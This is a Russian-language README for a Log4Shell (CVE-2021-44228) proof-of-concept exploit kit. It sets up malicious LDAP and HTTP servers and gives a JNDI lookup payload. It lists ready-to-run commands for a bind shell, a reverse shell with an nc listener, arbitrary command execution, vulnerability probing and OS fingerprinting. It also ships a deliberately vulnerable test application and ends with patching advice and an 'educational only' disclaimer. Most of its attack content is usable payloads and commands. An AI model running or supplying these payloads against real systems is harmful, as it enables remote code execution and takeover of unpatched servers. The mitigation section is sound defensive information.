CVE-2021-44228 PoC

PoC для CVE-2021-44228.

Проект создан ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ.

Эксплойт-сервер

Этот проект создаёт два сервера: http и ldap. Оба необходимы для работы эксплойта. Указанный java-файл компилируется, и серверы запускаются в Dockerfile. Полезная нагрузка (payload) показывается пользователю — её нужно передать уязвимому приложению.

Пример payload:

${jndi:ldap//127.0.0.1:1389/a}

Как запустить?

• Bind shell

./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445

• Reverse shell

nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444

• RCE

./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'

• Обнаружение уязвимости по времени

Это усыпляет программу на 25 секунд

./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect

• Определение ОС

nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444

Определение ОС может вернуть 4 буквы:

• L — Linux
• W — Windows
• M — MacOS
• U — неизвестно

Обход

Техника обхода была опубликована. Пример здесь

Уязвимое приложение

Приложение создано, чтобы показать, как это работает. Чтобы собрать и запустить jar-файл с приложением, используйте:

./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'

где PAYLOAD — это значение, возвращаемое скриптом ./poc.sh (например, ${jndi:ldap://127.0.0.1:1389/1}).

Благодарности

Благодарности проектам и сайтам, которые использовались при создании этого эксплойта:

• https://github.com/shanfenglan/apache_log4j_poc
• https://github.com/ivan-sincek/java-reverse-tcp
• https://www.lunasec.io/docs/blog/log4j-zero-day/
• https://github.com/RandomRobbieBF/marshalsec-jar

Как защититься?

Запускайте приложение, использующее log4j, с параметром log4j2.formatMsgNoLookups, установленным в true, или обновитесь до log4j-2.15.0-rc1 или более поздней версии. Обновления уже доступны — внедряйте их как можно скорее.

Отказ от ответственности

Этот проект может использоваться только в образовательных целях. Использование данного программного обеспечения против целевых систем без предварительного разрешения незаконно, и автор не несёт ответственности за любой ущерб, причинённый в результате неправильного использования этого программного обеспечения.